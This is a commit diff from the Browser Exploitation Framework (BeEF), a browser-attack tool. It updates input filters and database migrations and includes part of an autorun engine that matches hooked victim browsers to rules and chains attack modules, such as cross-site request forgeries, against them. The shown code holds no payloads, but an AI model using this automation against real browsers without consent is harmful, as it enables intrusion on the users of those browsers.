# @param [String] ip string to be tested
# @param [Symbol] version IP version (either <code>:ipv4</code> or <code>:ipv6</code>)
# @return [Boolean] true if the string is a valid IP address, otherwise false
#
# @overload self.is_valid_ip?(ip)
# Checks if the given string is either a valid IPv4 or IPv6 address
# @param [String] ip string to be tested
# @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false
def self.is_valid_ip?(ip, version = :both)
return false unless is_non_empty_string?(ip)
valid = case version.inspect.downcase
when /^:ipv4$/
ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x
when /^:ipv6$/
ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}|
([0-9a-f]{1,4}:){1,7}:|
([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}|
([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}|
([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}|
([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}|
([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}|
[0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})|
:((:[0-9a-f]{1,4}){1,7}|:)|
fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}|
::(ffff(:0{1,4}){0,1}:){0,1}
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|
([0-9a-f]{1,4}:){1,4}:
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix
when /^:both$/
is_valid_ip?(ip, :ipv4) || is_valid_ip?(ip, :ipv6)
end ? true : false
valid
end
# Checks if the given string is a valid private IP address
# @param [String] ip string for testing
# @return [Boolean] true if the string is a valid private IP address, otherwise false
# @note Includes RFC1918 private IPv4, private IPv6, and localhost 127.0.0.0/8, but does not include local-link addresses.
def self.is_valid_private_ip?(ip)
return false unless is_valid_ip?(ip)
return ip =~ /\A(^127\.)|(^192\.168\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^::1$)|(^[fF][cCdD])\z/ ? true : false
end
# Checks if the given string is a valid TCP port
# @param [String] port string for testing
# @return [Boolean] true if the string is a valid TCP port, otherwise false
def self.is_valid_port?(port)
valid = false
valid = true if port.to_i > 0 && port.to_i < 2**16
valid
end
# Checks if string is a valid domain name
# @param [String] domain string for testing
# @return [Boolean] If the string is a valid domain name
# @note Only validates the string format. It does not check for a valid TLD since ICANN's list of TLD's is not static.
def self.is_valid_domain?(domain)
return false unless is_non_empty_string?(domain)
return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i
false
end
# Check for valid browser details characters
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser details characters
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser details characters
# @note This function passes the \302\256 character which translates to the registered symbol (r)
def self.has_valid_browser_details_chars?(str)
return false if not is_non_empty_string?(str)
return false unless is_non_empty_string?(str)
not (str =~ /[^\w\d\s()-.,;:_\/!\302\256]/).nil?
end
# Check for valid base details characters
# @param [String] str String for testing
# @return [Boolean] If the string has only valid base characters
# @param [String] str String for testing
# @return [Boolean] If the string has only valid base characters
# @note This is for basic filtering where possible all specific filters must be implemented
# @note This function passes the \302\256 character which translates to the registered symbol (r)
def self.has_valid_base_chars?(str)
return false if not is_non_empty_string?(str)
return false unless is_non_empty_string?(str)
(str =~ /[^\302\256[:print:]]/).nil?
end
# Verify the yes and no is valid
# @param [String] str String for testing
# @return [Boolean] If the string is either 'yes' or 'no'
# @todo Confirm this is case insensitive
# @param [String] str String for testing
# @return [Boolean] If the string is either 'yes' or 'no'
def self.is_valid_yes_no?(str)
return false if has_non_printable_char?(str)
return false if str !~ /^(Yes|No)$/
return false if str.length > 200
return false if str !~ /\A(Yes|No)\z/i
true
end
end
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -10,28 +10,17 @@ module Filters
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser name characters
def self.is_valid_browsername?(str)
return false if not is_non_empty_string?(str)
return false unless is_non_empty_string?(str)
return false if str.length > 2
return false if has_non_printable_char?(str)
true
end
# Check the browser type value - for example, {"FF5":true,"FF":true} & {"S":true}
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser type characters
def self.is_valid_browsertype?(str)
return false if not is_non_empty_string?(str)
return false if str.length < 10
return false if str.length > 500 #CxF - had to increase this because the Chrome detection JSON String is getting bigger.
return false if has_non_printable_char?(str)
true
end
# Check the Operating System name value - for example, 'Windows XP'
# @param [String] str String for testing
# @return [Boolean] If the string has valid Operating System name characters
def self.is_valid_osname?(str)
return false if not is_non_empty_string?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length < 2
true
@@ -41,7 +30,7 @@ module Filters
# @param [String] str String for testing
# @return [Boolean] If the string has valid Hardware name characters
def self.is_valid_hwname?(str)
return false if not is_non_empty_string?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length < 2
true
@@ -51,11 +40,25 @@ module Filters
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser version characters
def self.is_valid_browserversion?(str)
return false if not is_non_empty_string?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return true if str.eql? "UNKNOWN"
return true if str.eql? "ALL"
return false if not nums_only?(str) and not is_valid_float?(str)
return false if str.length > 10
return false if str.length > 20
true
end
# Verify the os version string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid os version characters
def self.is_valid_osversion?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return true if str.eql? "UNKNOWN"
return true if str.eql? "ALL"
return false unless BeEF::Filters::only?("a-zA-Z0-9.<=> ", str)
return false if str.length > 20
true
end
@@ -63,7 +66,7 @@ module Filters
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser / ua string characters
def self.is_valid_browserstring?(str)
return false if not is_non_empty_string?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 300
true
@@ -73,33 +76,17 @@ module Filters
# @param [String] str String for testing
# @return [Boolean] If the string has valid cookie characters
def self.is_valid_cookies?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 2000
true
end
# Verify the screen size is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid screen size characters
def self.is_valid_screen_size?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the window size is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid window size characters
def self.is_valid_window_size?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the system platform is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid system platform characters
def self.is_valid_system_platform?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
@@ -109,6 +96,7 @@ module Filters
# @param [String] str String for testing
# @return [Boolean] If the string has valid date stamp characters
def self.is_valid_date_stamp?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
@@ -118,7 +106,27 @@ module Filters
# @param [String] str String for testing
# @return [Boolean] If the string has valid CPU type characters
def self.is_valid_cpu?(str)
return false if not is_non_empty_string?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the memory string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid memory type characters
def self.is_valid_memory?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the GPU type string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid GPU type characters
def self.is_valid_gpu?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
@@ -130,9 +138,9 @@ module Filters
# @note This string can be empty if there are no browser plugins
# @todo Verify if the ruby version statement is still necessary
def self.is_valid_browser_plugins?(str)
return true if not is_non_empty_string?(str)
return false unless is_non_empty_string?(str)
return false if str.length > 1000
if RUBY_VERSION >= "1.9" && str.encoding === Encoding.find('UTF-8')
if str.encoding === Encoding.find('UTF-8')
return (str =~ /[^\w\d\s()-.,';_!\302\256]/u).nil?
else
return (str =~ /[^\w\d\s()-.,';_!\302\256]/n).nil?

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -11,26 +11,17 @@ module Filters
# @return [Boolean] If the string has valid path characters
def self.is_valid_path_info?(str)
return false if str.nil?
return false if not str.is_a? String
return false unless str.is_a? String
return false if has_non_printable_char?(str)
true
end
# Check if the command id valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid command id
def self.is_valid_command_id?(str)
return false if not is_non_empty_string?(str)
return false if not nums_only?(str)
true
end
# Check if the session id valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid hook session id characters
def self.is_valid_hook_session_id?(str)
return false if not is_non_empty_string?(str)
return false if not has_valid_key_chars?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_key_chars?(str)
true
end
@@ -38,8 +29,8 @@ module Filters
# @param [String] str String for testing
# @return [Boolean] If the string has valid command module datastore key characters
def self.is_valid_command_module_datastore_key?(str)
return false if not is_non_empty_string?(str)
return false if not has_valid_key_chars?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_key_chars?(str)
true
end
@@ -48,7 +39,7 @@ module Filters
# @return [Boolean] If the string has valid command module datastore param characters
def self.is_valid_command_module_datastore_param?(str)
return false if has_null?(str)
return false if not has_valid_base_chars?(str)
return false unless has_valid_base_chars?(str)
true
end
@@ -56,8 +47,8 @@ module Filters
# @param [String] str String for testing
# @return [Boolean] If the string has valid key characters
def self.has_valid_key_chars?(str)
return false if not is_non_empty_string?(str)
return false if not has_valid_base_chars?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_base_chars?(str)
true
end
@@ -66,9 +57,9 @@ module Filters
# @return [Boolean] If the sting has valid param characters
def self.has_valid_param_chars?(str)
return false if str.nil?
return false if not str.is_a? String
return false unless str.is_a? String
return false if str.empty?
return false if not (str =~ /[^\w_\:]/).nil?
return false unless (str =~ /[^\w_\:]/).nil?
true
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -10,12 +10,10 @@ module Filters
# @param [String] str String for testing
# @return [Boolean] If the string is a valid hostname
def self.is_valid_hostname?(str)
return false if not is_non_empty_string?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 255
return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-\.]*[a-zA-Z0-9]$/).nil?
return false if not (str =~ /\.\./).nil?
return false if not (str =~ /\-\-/).nil?
true
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -10,7 +10,7 @@ module Filters
# @param [String] str String for testing
# @return [Boolean] If the string is a valid page title
def self.is_valid_pagetitle?(str)
return false if not str.is_a? String
return false unless str.is_a? String
return false if has_non_printable_char?(str)
return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer
true
@@ -20,7 +20,7 @@ module Filters
# @param [String] str String for testing
# @return [Boolean] If the string is a valid referrer
def self.is_valid_pagereferrer?(str)
return false if not str.is_a? String
return false unless str.is_a? String
return false if has_non_printable_char?(str)
return false if str.length > 350
true

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -10,14 +10,14 @@ module BeEF
# @param [String] sid hooked browser session id string
# @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
def self.get_by_session(sid)
BeEF::Core::Models::HookedBrowser.first(:session => sid)
BeEF::Core::Models::HookedBrowser.where(:session => sid).first
end
# Get hooked browser by id
# @param [Integer] id hooked browser database id
# @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
def self.get_by_id(id)
BeEF::Core::Models::HookedBrowser.first(:id => id)
BeEF::Core::Models::HookedBrowser.find(id)
end
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -7,7 +7,14 @@
# @note Include here all the gems we are using
require 'rubygems'
require 'bundler/setup'
# For some reason, on Ruby 2.5+, msgpack needs to be loaded first,
# else metasploit integration dies due to undefined `to_msgpack`.
# Works fine on Ruby 2.4
require 'msgpack'
Bundler.require(:default)
require 'cgi'
require 'yaml'
require 'singleton'
@@ -15,8 +22,26 @@ require 'ipaddr'
require 'base64'
require 'xmlrpc/client'
require 'openssl'
require 'rubydns'
require 'sourcify'
require 'eventmachine'
require 'thin'
require 'rack'
require 'em-websocket'
require 'uglifier'
require 'execjs'
require 'ansi'
require 'term/ansicolor'
require 'json'
require 'otr-activerecord'
require 'parseconfig'
require 'erubis'
require 'mime/types'
require 'optparse'
require 'resolv'
require 'digest'
require 'zip'
require 'logger'
# @note Logger
require 'core/logger'
# @note Include the filters
require 'core/filters'

21
core/logger.rb Normal file
View File

@@ -0,0 +1,21 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
#
# @note log to file
#
module BeEF
class << self
attr_writer :logger
def logger
@logger ||= Logger.new("#{$home_dir}/beef.log").tap do |log|
log.progname = self.name
log.level = Logger::WARN
end
end
end
end

View File

@@ -0,0 +1,12 @@
class CreateCommandModules < ActiveRecord::Migration[6.0]
def change
create_table :command_modules do |t|
t.text :name
t.text :path
end
end
end

View File

@@ -0,0 +1,19 @@
class CreateHookedBrowsers < ActiveRecord::Migration[6.0]
def change
create_table :hooked_browsers do |t|
t.text :session
t.text :ip
t.text :firstseen
t.text :lastseen
t.text :httpheaders
t.text :domain
t.integer :port
t.integer :count
t.boolean :is_proxy
end
end
end

View File

@@ -0,0 +1,14 @@
class CreateLogs < ActiveRecord::Migration[6.0]
def change
create_table :logs do |t|
t.text :logtype
t.text :event
t.datetime :date
t.references :hooked_browser
end
end
end

View File

@@ -0,0 +1,16 @@
class CreateCommands < ActiveRecord::Migration[6.0]
def change
create_table :commands do |t|
t.references :command_module
t.references :hooked_browser
t.text :data
t.datetime :creationdate
t.text :label
t.boolean :instructions_sent, default: false
end
end
end

View File

@@ -0,0 +1,15 @@
class CreateResults < ActiveRecord::Migration[6.0]
def change
create_table :results do |t|
t.references :command
t.references :hooked_browser
t.datetime :date
t.integer :status
t.text :data
end
end
end

View File

@@ -0,0 +1,12 @@
class CreateOptionCaches < ActiveRecord::Migration[6.0]
def change
create_table :option_caches do |t|
t.text :name
t.text :value
end
end
end

View File

@@ -0,0 +1,13 @@
class CreateBrowserDetails < ActiveRecord::Migration[6.0]
def change
create_table :browser_details do |t|
t.text :session_id
t.text :detail_key
t.text :detail_value
end
end
end

View File

@@ -0,0 +1,17 @@
class CreateExecutions < ActiveRecord::Migration[6.0]
def change
create_table :executions do |t|
t.text :session_id
t.integer :mod_count
t.integer :mod_successful
t.text :mod_body
t.text :exec_time
t.text :rule_token
t.boolean :is_sent
end
end
end

View File

@@ -0,0 +1,20 @@
class CreateRules < ActiveRecord::Migration[6.0]
def change
create_table :rules do |t|
t.text :name
t.text :author
t.text :browser
t.text :browser_version
t.text :os
t.text :os_version
t.text :modules
t.text :execution_order
t.text :execution_delay
t.text :chain_mode
end
end
end

View File

@@ -0,0 +1,12 @@
class CreateInterceptor < ActiveRecord::Migration[6.0]
def change
create_table :interceptors do |t|
t.text :ip
t.text :post_data
end
end
end

View File

@@ -0,0 +1,12 @@
class CreateWebCloner < ActiveRecord::Migration[6.0]
def change
create_table :web_cloner do |t|
t.text :uri
t.text :mount
end
end
end

View File

@@ -0,0 +1,11 @@
class CreateMassMailer < ActiveRecord::Migration[6.0]
def change
create_table :mass_mailer do |t|
#todo fields
end
end
end

View File

@@ -0,0 +1,17 @@
class CreateNetworkHost < ActiveRecord::Migration[6.0]
def change
create_table :network_hosts do |t|
t.references :hooked_browser
t.text :ip
t.text :hostname
t.text :ntype
t.text :os
t.text :mac
t.text :lastseen
end
end
end

View File

@@ -0,0 +1,15 @@
class CreateNetworkService < ActiveRecord::Migration[6.0]
def change
create_table :network_services do |t|
t.references :hooked_browser
t.text :proto
t.text :ip
t.text :port
t.text :ntype
end
end
end

View File

@@ -0,0 +1,44 @@
class CreateHttp < ActiveRecord::Migration[6.0]
def change
create_table :http do |t|
t.references :hooked_browser
# The http request to perform. In clear text.
t.text :request
# Boolean value as string to say whether cross-domain requests are allowed
t.boolean :allow_cross_domain, :default => true
# The http response body received. In clear text.
t.text :response_data
# The http response code. Useful to handle cases like 404, 500, 302, ...
t.integer :response_status_code
# The http response code. Human-readable code: success, error, ecc..
t.text :response_status_text
# The port status. closed, open or not http
t.text :response_port_status
# The XHR Http response raw headers
t.text :response_headers
# The http response method. GET or POST.
t.text :method
# The content length for the request.
t.text :content_length, :default => 0
# The request protocol/scheme (http/https)
t.text :proto
# The domain on which perform the request.
t.text :domain
# The port on which perform the request.
t.text :port
# Boolean value to say if the request was cross-domain
t.text :has_ran, :default => "waiting"
# The path of the request.
# Example: /secret.html
t.text :path
# The date at which the http response has been saved.
t.datetime :response_date
# The date at which the http request has been saved.
t.datetime :request_date
end
end
end

View File

@@ -0,0 +1,13 @@
class CreateRtcStatus < ActiveRecord::Migration[6.0]
def change
create_table :rtc_status do |t|
t.references :hooked_browser
t.integer :target_hooked_browser_id
t.text :status
end
end
end

View File

@@ -0,0 +1,13 @@
class CreateRtcManage < ActiveRecord::Migration[6.0]
def change
create_table :rtc_manage do |t|
t.references :hooked_browser
t.text :message
t.text :has_sent, default: "waiting"
end
end
end

View File

@@ -0,0 +1,14 @@
class CreateRtcSignal < ActiveRecord::Migration[6.0]
def change
create_table :rtc_signal do |t|
t.references :hooked_browser
t.integer :target_hooked_browser_id
t.text :signal
t.text :has_sent, default: "waiting"
end
end
end

View File

@@ -0,0 +1,14 @@
class CreateRtcModuleStatus < ActiveRecord::Migration[6.0]
def change
create_table :rtc_module_status do |t|
t.references :hooked_browser
t.references :command_module
t.integer :target_hooked_browser_id
t.text :status
end
end
end

View File

@@ -0,0 +1,14 @@
class CreateXssraysDetail < ActiveRecord::Migration[6.0]
def change
create_table :xssrays_detail do |t|
t.references :hooked_browser
t.text :vector_name
t.text :vector_method
t.text :vector_poc
end
end
end

View File

@@ -0,0 +1,14 @@
class CreateDnsRule < ActiveRecord::Migration[6.0]
def change
create_table :dns_rule do |t|
t.text :pattern
t.text :resource
t.text :response
t.text :callback
end
end
end

View File

@@ -0,0 +1,13 @@
class CreateIpecExploit < ActiveRecord::Migration[6.0]
def change
create_table :ipec_exploit do |t|
t.text :name
t.text :protocol
t.text :os
end
end
end

View File

@@ -0,0 +1,13 @@
class CreateIpecExploitRun < ActiveRecord::Migration[6.0]
def change
create_table :ipec_exploit_run do |t|
t.boolean :launched
t.text :http_headers
t.text :junk_size
end
end
end

View File

@@ -0,0 +1,12 @@
class CreateAutoloader < ActiveRecord::Migration[6.0]
def change
create_table :autoloader do |t|
t.references :command
t.boolean :in_use
end
end
end

View File

@@ -0,0 +1,18 @@
class CreateXssraysScan < ActiveRecord::Migration[6.0]
def change
create_table :xssrays_scan do |t|
t.references :hooked_browser
t.datetime :scan_start
t.datetime :scan_finish
t.text :domain
t.text :cross_domain
t.integer :clean_timeout
t.boolean :is_started
t.boolean :is_finished
end
end
end

View File

@@ -0,0 +1,499 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module AutorunEngine
class Engine
include Singleton
def initialize
@config = BeEF::Core::Configuration.instance
@result_poll_interval = @config.get('beef.autorun.result_poll_interval')
@result_poll_timeout = @config.get('beef.autorun.result_poll_timeout')
@continue_after_timeout = @config.get('beef.autorun.continue_after_timeout')
@debug_on = @config.get('beef.debug')
@VERSION = ['<','<=','==','>=','>','ALL']
@VERSION_STR = ['XP','Vista']
end
# Check if the hooked browser type/version and OS type/version match any Rule-sets
# stored in the BeEF::Core::AutorunEngine::Models::Rule database table
# If one or more Rule-sets do match, trigger the module chain specified
def run(hb_id, browser_name, browser_version, os_name, os_version)
are = BeEF::Core::AutorunEngine::Engine.instance
match_rules = are.match(browser_name, browser_version, os_name, os_version)
are.trigger(match_rules, hb_id) if match_rules !=nil && match_rules.length > 0
end
# Prepare and return the JavaScript of the modules to be sent.
# It also updates the rules ARE execution table with timings
def trigger(rule_ids, hb_id)
hb = BeEF::HBManager.get_by_id(hb_id)
hb_session = hb.session
rule_ids.each do |rule_id|
rule = BeEF::Core::Models::Rule.find(rule_id)
modules = JSON.parse(rule.modules)
execution_order = JSON.parse(rule.execution_order)
execution_delay = JSON.parse(rule.execution_delay)
chain_mode = rule.chain_mode
mods_bodies = Array.new
mods_codes = Array.new
mods_conditions = Array.new
# this ensures that if both rule A and rule B call the same module in sequential mode,
# execution will be correct preventing wrapper functions to be called with equal names.
rule_token = SecureRandom.hex(5)
modules.each do |cmd_mod|
mod = BeEF::Core::Models::CommandModule.where(:name => cmd_mod['name']).first
options = []
replace_input = false
cmd_mod['options'].each do|k,v|
options.push({'name' => k, 'value' => v})
replace_input = true if v == '<<mod_input>>'
end
command_body = prepare_command(mod, options, hb_id, replace_input, rule_token)
mods_bodies.push(command_body)
mods_codes.push(cmd_mod['code'])
mods_conditions.push(cmd_mod['condition'])
end
# Depending on the chosen chain mode (sequential or nested/forward), prepare the appropriate wrapper
case chain_mode
when 'nested-forward'
wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order, rule_token)
when 'sequential'
wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay, rule_token)
else
wrapper = nil
print_error "Chain mode looks wrong!"
# TODO catch error, which should never happen as values are checked way before ;-)
end
are_exec = BeEF::Core::Models::Execution.new(
:session => hb_session,
:mod_count => modules.length,
:mod_successful => 0,
:rule_token => rule_token,
:mod_body => wrapper,
:is_sent => false,
:rule_id => rule_id
)
are_exec.save!
# Once Engine.check() verified that the hooked browser match a Rule, trigger the Rule ;-)
print_more "Triggering ruleset #{rule_ids.to_s} on HB #{hb_id}"
end
end
# Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay.
# Launch order is also taken care of.
# - sequential chain with delays (setTimeout stuff)
# ex.: setTimeout(module_one(), 0);
# setTimeout(module_two(), 2000);
# setTimeout(module_three(), 3000);
# Note: no result status is checked here!! Useful if you just want to launch a bunch of modules without caring
# what their status will be (for instance, a bunch of XSRFs on a set of targets)
def prepare_sequential_wrapper(mods, order, delay, rule_token)
wrapper = ''
delayed_exec = ''
c = 0
while c < mods.length
delayed_exec += %Q| setTimeout(function(){#{mods[order[c]][:mod_name]}_#{rule_token}();}, #{delay[c]}); |
mod_body = mods[order[c]][:mod_body].to_s.gsub("#{mods[order[c]][:mod_name]}_mod_output", "#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output")
wrapped_mod = "#{mod_body}\n"
wrapper += wrapped_mod
c += 1
end
wrapper += delayed_exec
print_more "Final Modules Wrapper:\n #{wrapper}" if @debug_on
wrapper
end
# Wraps module bodies in their own function, then start to execute them from the first, polling for
# command execution status/results (with configurable polling interval and timeout).
# Launch order is also taken care of.
# - nested forward chain with status checks (setInterval to wait for command to return from async operations)
# ex.: module_one()
# if condition
# module_two(module_one_output)
# if condition
# module_three(module_two_output)
#
# Note: command result status is checked, and you can properly chain input into output, having also
# the flexibility of slightly mangling it to adapt to module needs.
# Note: Useful in situations where you want to launch 2 modules, where the second one will execute only
# if the first once return with success. Also, the second module has the possibility of mangling first
# module output and use it as input for some of its module inputs.
def prepare_nested_forward_wrapper(mods, code, conditions, order, rule_token)
wrapper, delayed_exec = '',''
delayed_exec_footers = Array.new
c = 0
while c < mods.length
if mods.length == 1
i = c
else
i = c + 1
end
code_snippet = ''
mod_input = ''
if code[c] != 'null' && code[c] != ''
code_snippet = code[c]
mod_input = 'mod_input'
end
conditions[i] = true if conditions[i] == nil || conditions[i] == ''
if c == 0
# this is the first wrapper to prepare
delayed_exec += %Q|
function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){
#{mods[order[c]][:mod_name]}_#{rule_token}();
// TODO add timeout to prevent infinite loops
function isResReady(mod_result, start){
if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){
// loop
}else{
// module return status/data is now available
clearInterval(resultReady);
if (mod_result === null && #{@continue_after_timeout}){
var mod_result = [];
mod_result[0] = 1; //unknown status
mod_result[1] = '' //empty result
}
var status = mod_result[0];
if(#{conditions[i]}){
#{mods[order[i]][:mod_name]}_#{rule_token}_can_exec = true;
#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1];
|
delayed_exec_footer = %Q|
}
}
}
var start = (new Date()).getTime();
var resultReady = setInterval(function(){var start = (new Date()).getTime(); isResReady(#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output, start);},#{@result_poll_interval});
}
#{mods[order[c]][:mod_name]}_#{rule_token}_f();
|
delayed_exec_footers.push(delayed_exec_footer)
elsif c < mods.length - 1
code_snippet = code_snippet.to_s.gsub(mods[order[c-1]][:mod_name], "#{mods[order[c-1]][:mod_name]}_#{rule_token}")
# this is one of the wrappers in the middle of the chain
delayed_exec += %Q|
function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){
if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){
#{code_snippet}
#{mods[order[c]][:mod_name]}_#{rule_token}(#{mod_input});
function isResReady(mod_result, start){
if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){
// loop
}else{
// module return status/data is now available
clearInterval(resultReady);
if (mod_result === null && #{@continue_after_timeout}){
var mod_result = [];
mod_result[0] = 1; //unknown status
mod_result[1] = '' //empty result
}
var status = mod_result[0];
if(#{conditions[i]}){
#{mods[order[i]][:mod_name]}_#{rule_token}_can_exec = true;
#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1];
|
delayed_exec_footer = %Q|
}
}
}
var start = (new Date()).getTime();
var resultReady = setInterval(function(){ isResReady(#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output, start);},#{@result_poll_interval});
}
}
#{mods[order[c]][:mod_name]}_#{rule_token}_f();
|
delayed_exec_footers.push(delayed_exec_footer)
else
code_snippet = code_snippet.to_s.gsub(mods[order[c-1]][:mod_name], "#{mods[order[c-1]][:mod_name]}_#{rule_token}")
# this is the last wrapper to prepare
delayed_exec += %Q|
function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){
if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){
#{code_snippet}
#{mods[order[c]][:mod_name]}_#{rule_token}(#{mod_input});
}
}
#{mods[order[c]][:mod_name]}_#{rule_token}_f();
|
end
mod_body = mods[order[c]][:mod_body].to_s.gsub("#{mods[order[c]][:mod_name]}_mod_output", "#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output")
wrapped_mod = "#{mod_body}\n"
wrapper += wrapped_mod
c += 1
end
wrapper += delayed_exec + delayed_exec_footers.reverse.join("\n")
print_more "Final Modules Wrapper:\n #{delayed_exec + delayed_exec_footers.reverse.join("\n")}" if @debug_on
wrapper
end
# prepare the command module (compiling the Erubis templating stuff), eventually obfuscate it,
# and store it in the database.
# Returns the raw module body after template substitution.
def prepare_command(mod, options, hb_id, replace_input, rule_token)
config = BeEF::Core::Configuration.instance
begin
command = BeEF::Core::Models::Command.new(
:data => options.to_json,
:hooked_browser_id => hb_id,
:command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"),
:creationdate => Time.new.to_i,
:instructions_sent => true
)
command.save!
command_module = BeEF::Core::Models::CommandModule.find(mod.id)
if (command_module.path.match(/^Dynamic/))
# metasploit and similar integrations
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
else
# normal modules always here
key = BeEF::Module.get_key_by_database_id(mod.id)
command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key)
end
hb = BeEF::HBManager.get_by_id(hb_id)
hb_session = hb.session
command_module.command_id = command.id
command_module.session_id = hb_session
command_module.build_datastore(command.data)
command_module.pre_send
